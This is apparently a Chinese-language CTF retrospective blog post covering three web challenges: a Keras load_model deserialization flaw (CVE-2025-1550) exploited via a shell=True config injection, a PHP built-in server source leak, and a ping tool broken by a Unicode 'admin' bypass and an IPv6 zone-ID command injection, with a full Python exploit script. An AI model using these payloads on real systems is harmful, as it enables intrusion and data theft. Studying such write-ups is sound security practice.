D3CTF2025 - d3model
import keras from flask import Flask, request, jsonify import os
def is_valid_model(modelname): try: keras.models.load_model(modelname) except: return False return True
app = Flask(__name__)
@app.route('/', methods=['GET']) def index(): return open('index.html').read()
@app.route('/upload', methods=['POST']) def upload_file(): if 'file' not in request.files: return jsonify({'error': 'No file part'}), 400 file = request.files['file'] if file.filename == '': return jsonify({'error': 'No selected file'}), 400 MAX_FILE_SIZE = 50 * 1024 * 1024 file.seek(0, os.SEEK_END) file_size = file.tell() file.seek(0) if file_size > MAX_FILE_SIZE: return jsonify({'error': 'File size exceeds 50MB limit'}), 400 filepath = os.path.join('./', 'test.keras') if os.path.exists(filepath): os.remove(filepath) file.save(filepath) if is_valid_model(filepath): return jsonify({'message': 'Model is valid'}), 200 else: return jsonify({'error': 'Invalid model file'}), 400
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
|
这题很明显,唯一的漏洞利用点在is_valid_model()函数,搜索keras.models.load_model()漏洞,发现了最近的CVE-2025-1550,找到了攻击参考博客
然后比赛的时候没打出来。。。
赛后发现是,对python的subprocess模块了解还是不够深入(上次记录过一次,但还是忘了,emmm)
需要修改的地方为"inbound_nodes": [{"args": [["env >> index.html"]], "kwargs": {"bufsize": -1, "shell": True}}]
json文件也相对应做修改,不然的话,命令无法通过shell执行。。。
如果shell为True,那么指定的命令将通过shell执行。如果我们需要访问某些shell的特性,如管道、文件名通配符、环境变量扩展功能,这将是非常有用的。
还有就是这题貌似是不出网的,但docker文件里面告诉了我们flag在环境变量中,并且只有index.html可写。。。
最简单的题没打出来……
LilacCTF2026 - keep
这题没给源码,而且我打开之后一直在转圈,没加载出来,我当时就纳闷了
关注了PHP的版本,但没往源码泄露方向想,结果现在搜php7.3.4 源码泄露都能找到漏洞利用文章,原文

还能这样子判断php -s起的服务,长见识了,而且这次比赛有不少不给源码要扫目录的地方(好像之前都是给的),我这次就随便看看,就懒得扫了(),摆
N1CTF Junior 2026 - addr
from ipaddress import ip_address from flask import Flask, request, render_template, redirect, url_for, session, flash import subprocess import platform
app = Flask(__name__) app.secret_key = 'secret_key_changed_in_container'
@app.route('/') def index(): current_user = session.get('user') return render_template('index.html', current_user=current_user)
@app.route('/ping', methods=['POST']) def ping(): target = request.form.get('target', '') current_user = session.get('user') if current_user and current_user.upper() != 'ADMIN': return render_template( 'index.html', ping_result="只有管理员可以使用此工具。", current_user=current_user ) if not current_user: return render_template( 'index.html', ping_result="只有管理员可以使用此工具。", current_user=None ) if not target: return render_template('index.html', ping_result="请输入目标地址", current_user=current_user) try: target = ip_address(target).compressed except Exception: return render_template('index.html', ping_result="ip地址非法", current_user=current_user)
param = '-n' if platform.system().lower() == 'windows' else '-c' try: command = f'ping {param} 4 {target}' result = subprocess.run( command, shell=True, capture_output=True, text=True, timeout=10 ) output = result.stdout if result.returncode == 0 else result.stderr if not output: output = "Ping 失败或无法解析主机。"
except subprocess.TimeoutExpired: output = "请求超时。" except Exception as e: output = f"执行错误: {str(e)}"
return render_template('index.html', ping_result=output, current_user=current_user)
@app.route('/set_user_session', methods=['POST']) def set_user_session(): username = request.form.get('username', '').strip()
if username.lower() == 'admin': flash("禁止操作:不允许设置 'admin' 用户名!") return redirect(url_for('index'))
session['user'] = username flash(f"用户名已更新为: {username}") return redirect(url_for('index'))
@app.route('/logout') def logout(): session.pop('user', None) flash("已退出登录。") return redirect(url_for('index'))
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True)
|
很熟悉,管理员字母的小写不能是admin,大写不能是ADMIN,直接unicode进行绕过,admın(adm\u0131n),然后就犯傻了,ip_address(target).compressed这里就限制的死死的,无从下手……
赛后看了别人的 wp 才发现,ip_address的检测对于 IPv6 地址,允许使用%符号来指定网络接口(Zone ID),%后面的部分被视为该 IP 地址的一个合法属性(scope_id)。例如:::1%eth0,所以是可以实现命令拼接执行的
import base64 import requests
cmd = "cat /flag" b64 = base64.b64encode(cmd.encode()).decode() payload = f'::1%;echo {b64} | base64 -d | sh' s = requests.Session() url = 'http://localhost:5000/set_user_session' data = {'username': 'adm\u0131n'} s.post(url, data=data) res = s.post('http://localhost:5000/ping', data={'target': payload}) print(res.text)
|
ping原来还有这么多的玩法,长见识了(上一次也有)